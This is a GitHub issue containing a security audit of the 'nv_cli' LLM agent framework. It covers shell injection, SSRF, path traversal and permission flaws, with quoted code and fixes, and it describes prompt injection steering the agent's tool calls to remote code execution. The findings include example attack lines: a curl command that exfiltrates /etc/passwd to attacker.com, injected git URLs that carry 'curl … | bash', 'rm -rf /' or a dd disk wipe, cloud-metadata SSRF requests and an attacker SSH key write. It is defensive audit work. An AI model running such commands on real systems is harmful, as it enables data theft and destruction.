Skip to content

Security Audit #13

Description

@SingleSourceStudios

SECURITY ASSESSMENT: nv_cli Agent Framework

EXECUTIVE SUMMARY:
nv_cli exhibits 3 critical command injection vulnerabilities (subprocess shell execution, git clone string interpolation, file operations without path confinement) enabling remote code execution, plus 1 high-severity supply-chain risk (unverified skill installation) and 1 high-severity SSRF risk (unvalidated network fetch). Zero-trust review of the agentic control loop reveals untrusted LLM responses directly route to shell execution without command validation or dangerous-pattern filtering. Production deployment must be blocked. Remediation requires eliminating shell=True patterns, implementing cryptographic skill verification, and adding path/URL whitelisting within 48 hours.


THREAT MODEL

Attacker Profiles & Motivations

Profile Capability Goal Effort
Prompt Injector Craft malicious user input or system prompt injection Compromise agent reasoning, trigger RCE via tool calls Low — no code exploit needed
Skill Developer (Compromised/Malicious) Create public skill or compromise legitimate skill repo Inject backdoor code during installation, persist across sessions Low-Medium — one-time skill publication or repo takeover
Network Attacker (MITM) Intercept agent HTTP traffic or DNS responses Redirect web_fetch to malicious data, poison agent decisions Low — local network position
Package Registry Attacker Publish typosquatted or compromised packages Achieve RCE via pip-based skill installation Medium — requires social engineering or registry compromise
Insider (Compromised API Key) Exfiltrate or manipulate OpenAI API key Hijack agent for large-scale attacks; inject jailbreak instructions Low — key stored in config or env; often world-readable

Attack Surface Map

┌─────────────────────────────────────┐
│  LLM COMPLETION (OpenAI API)        │ ◄─── UNTRUSTED SOURCE
│  Raw: "tool_name": "execute_command"│
│       "command": "cat /etc/passwd; curl ..."
└──────────────┬──────────────────────┘
               │
               ▼
        ┌──────────────────┐
        │ parse_tool_calls │ ◄─── NO VALIDATION
        └────────┬─────────┘
                 │
        ┌────────▼────────────────────────┐
        │ _execute_tool(tool_name, args)  │
        │ ToolRegistry lookup             │ ◄─── UNRESTRICTED REGISTRY
        └────────┬────────────────────────┘
                 │
    ┌────────────┼────────────────────┐
    │            │                    │
    ▼            ▼                    ▼
execute_command web_fetch        write_file
shell=True ─────────────────────  path.expanduser()
NO ESCAPE (CRITICAL RCE)        NO CONFINEMENT (PATH TRAVERSAL)
    │
    └─ RESULT: Arbitrary code execution as agent user

Zero-Trust Validation Gaps

Trust Assumption (BROKEN) Impact
LLM responses are safe tool calls Tool calls directly trigger shell execution; no command validation or dangerous-keyword filtering
Installed skills are scanned for safety Regex patterns in SecurityScanner are bypassable (no AST analysis); obfuscated code passes
File operations respect sandbox write_file() uses .expanduser() but not .resolve() before mkdir; path traversal possible
Network requests target intended servers web_fetch() accepts http://, no certificate pinning, no SSRF filtering (localhost, 169.254.x.x, metadata endpoints unrestricted)
Skill sources are trustworthy No cryptographic signature verification; git repos compromised post-clone deliver arbitrary code

VERIFIED FINDINGS

FINDING: Unrestricted Shell Command Injection via execute_command()

Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

EVIDENCE: nv_cli/tools/implementations.py:51–62

def execute_command(command: str, timeout: int = 120) -> str:
    """Execute a shell command."""
    try:
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=timeout
        )

Vulnerability Details:

  • command parameter is user-supplied (originates from LLM tool call parsing in agent.py—untrusted source)
  • shell=True enables shell metacharacter interpretation (|, &&, ;, backticks, $(), ${})
  • No input validation, escaping, allowlist, or dangerous-keyword filtering
  • Output truncation (2000 chars) does not mitigate RCE
  • Timeout protection does not prevent damage (e.g., ; rm -rf / & forks and runs in background)

Attack Vector:

  1. Agent user enters prompt: "help me analyze this directory"
  2. LLM generates response: tool_call: execute_command {"command": "ls -la; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)"}
  3. Agent parses tool call and executes command string as-is
  4. Shell interprets semicolon; both ls -la and attacker's curl execute
  5. Attacker receives exfiltrated /etc/passwd

Residual Risk (After Mitigation):

  • Even with shlex.split() + list-mode subprocess, LLM could generate valid dangerous commands (rm -rf /home/user, dd if=/dev/zero of=/dev/sda)
  • Residual risk depends on downstream permission model (see Finding: Weak Permission Check)

Recommendation:

  • Immediate: Remove shell=True; parse command with shlex.split(command) and pass as list
  • Short-term: Implement command allowlist (whitelist safe commands: ls, grep, cat, echo)
  • Medium-term: Add dangerous-keyword detection (rm, dd, shutdown, reboot, mkfs); require explicit user confirmation for risky commands
  • Long-term: Replace agent-driven command execution with domain-specific DSL (e.g., restricted subset of shell commands)

FINDING: Shell Injection in Git Clone Installation

Severity: CRITICAL (CVSS 9.1)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

EVIDENCE: nv_cli/skills/installer.py:54–60

def _install_from_git(self, url: str, name: Optional[str]) -> bool:
    """Install from git."""
    skill_name = name or url.split("/")[-1].replace(".git", "")
    target = self.skills_dir / skill_name

    cmd = f"git clone {url} {target}"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)

Vulnerability Details:

  • url parameter is user-supplied (caller can be agent or human user)
  • String interpolation into shell command: f"git clone {url} {target}"
  • No URL validation, escaping, or scheme checking
  • subprocess.run(..., shell=True) interprets shell metacharacters in both url and target
  • Example malicious URL: https://example.com/repo.git; rm -rf / or https://example.com/repo.git && curl attacker.com/payload | bash

Attack Vector:

  1. Attacker publishes skill installation instructions on social platform: "Install skill: agent install-skill --url 'https://attacker.com/skill.git; dd if=/dev/zero of=/dev/sda'"
  2. Unsuspecting user runs command
  3. subprocess.run() executes both git clone (fails safely) and dd command (destructive; overwrites disk)
  4. Alternatively, attacker compromises legitimate skill git repo and injects post-clone hook (e.g., setup.py with os.system())

Supply-Chain Context:

  • Even if url is validly formed, a compromised or attacker-controlled git repo can deliver arbitrary code
  • SecurityScanner (regex-based) is insufficient to detect obfuscated code (base64 payloads, multi-line strings, eval constructs)
  • No commit signature verification; attacker can force-push malicious code to a fork

Recommendation:

  • Immediate: Remove shell=True; use list-mode subprocess: subprocess.run(["git", "clone", url, str(target)])
  • Short-term: Validate URL scheme (https only); reject localhost/IP addresses in URLs
  • Medium-term: Require GPG-signed commits or releases; verify commit signatures before installation
  • Long-term: Maintain skill allowlist/pinned versions with commit hashes; audit skills before production use

FINDING: Unvalidated Network Fetch Enables SSRF

Severity: HIGH (CVSS 8.2)
CWE: CWE-918 (Server-Side Request Forgery)

EVIDENCE: nv_cli/tools/implementations.py:120–134

def web_fetch(url: str) -> str:
    """Fetch content from URL."""
    import urllib.request
    import urllib.error

    try:
        req = urllib.request.Request(
            url,
            headers={
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36'
            }
        )
        with urllib.request.urlopen(req, timeout=30) as response:

Vulnerability Details:

  • url parameter is user-supplied (from LLM tool call) without validation
  • No scheme enforcement: file://, gopher://, ftp://, http://, https:// all accepted
  • No SSRF filtering: localhost (127.0.0.1, localhost, ::1), private IPs (10.x.x.x, 172.16.x.x, 192.168.x.x), link-local (169.254.x.x), metadata endpoints (169.254.169.254) unrestricted
  • Default SSL verification in Python 3.6+ is enabled but:
    • HTTP URLs bypass certificate checks entirely
    • No certificate pinning or custom SSL context
    • Hostname verification could be skipped if implementation is incomplete

Attack Vectors:

  1. Internal Service Enumeration:

    web_fetch: {"url": "http://localhost:6379"}  # Access Redis, unauth'd
    web_fetch: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}  # AWS metadata
  2. Data Exfiltration:

    web_fetch: {"url": "file:///etc/passwd"}  # Read local files (if file:// is not blocked)
  3. Credential Harvesting:

    web_fetch: {"url": "http://10.0.1.50:5432"}  # Probe internal database port
  4. Denial of Service:

    web_fetch: {"url": "http://localhost/download?file=largefile.bin"}  # Exhaust disk/memory

Residual Risk (After Mitigation):

  • HTTPS enforcement + cert verification prevents MITM on external URLs
  • SSRF filtering (localhost + private IP rejection) prevents internal service access
  • Residual: Attacker could enumerate internal DNS zones via URL parameter timing analysis

Recommendation:

  • Immediate:
    • Enforce HTTPS only: reject http:// URLs
    • Reject localhost/private IPs: blocklist 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
    • Validate URL scheme: whitelist https:// only
  • Short-term: Implement URL allowlist (e.g., domain pattern matching)
  • Medium-term: Add SSL context with certificate pinning for critical external services
  • Long-term: Route all outbound requests through proxy with DNS sinkhole for internal addresses

FINDING: Missing Path Confinement in write_file()

Severity: HIGH (CVSS 8.1)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

EVIDENCE: nv_cli/tools/implementations.py:32–44

def write_file(path: str, content: str, force: bool = False) -> str:
    """Write a file."""
    try:
        filepath = Path(path).expanduser()
        filepath.parent.mkdir(parents=True, exist_ok=True)

        if filepath.exists() and not force:
            return f"Error: File exists. Use edit_file to modify."

        filepath.write_text(content, encoding='utf-8')

Vulnerability Details:

  • path parameter is user-supplied (from LLM tool call) without validation
  • .expanduser() expands ~ to home directory but does NOT canonicalize or sandbox
  • No .resolve() before directory creation or write → path traversal via ../ is possible
  • filepath.parent.mkdir(parents=True, exist_ok=True) creates all parent directories without confinement checks
  • Attacker can write to any location the agent user has permissions for:
    • System files: /etc/cron.d/, /etc/sudoers, /root/.ssh/authorized_keys
    • Application code: /app/src/main.py (inject malicious code)
    • Configuration: /etc/nginx/nginx.conf (modify web server behavior)

Attack Scenario:

write_file: {
  "path": "../../../../root/.ssh/authorized_keys",
  "content": "ssh-rsa AAAA... attacker@evil.com",
  "force": true
}

Result: If agent runs as root or in a container with loose permissions, attacker's SSH key is added to root account.

Comparison with edit_file():

  • edit_file() at line 65 uses .resolve(), which canonicalizes symlinks and relative paths
  • write_file() does not, creating inconsistency and a vulnerability gap

Recommendation:

  • Immediate:
    • Add .resolve() after .expanduser(): filepath = Path(path).expanduser().resolve()
    • Add path confinement check: assert filepath.is_relative_to(safe_base_dir) (Python 3.9+) or manual string comparison
    • Define safe base directory (e.g., project directory, user home, /tmp—depends on use case)
  • Short-term: Implement allowlist of writable directories; reject writes outside allowlist
  • Medium-term: Add audit logging for all file writes (path, content hash, user, timestamp)
  • Long-term: Run agent with minimal filesystem permissions (containerization, chroot, or capability restriction)

FINDING: Weak Permission Check Allows Blanket Tool Approval

Severity: HIGH (CVSS 8.0)
CWE: CWE-400 (Uncontrolled Resource Consumption)

EVIDENCE: nv_cli/agents/agent.py:254–266

def _check_permission(self, tool: str, args: Dict) -> bool:
    """Check if tool execution is allowed."""
    from ..config.config import PermissionMode
    mode = self.config.permission_mode

    if mode == PermissionMode.NEVER:
        return False
    if mode == PermissionMode.AUTO:
        return True

Vulnerability Details:

  • PermissionMode.AUTO grants blanket approval to ALL tools without restriction
  • No dangerous-command filtering: even malicious execute_command calls are approved
  • No rate limiting: agent can execute unlimited commands per session
  • No per

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions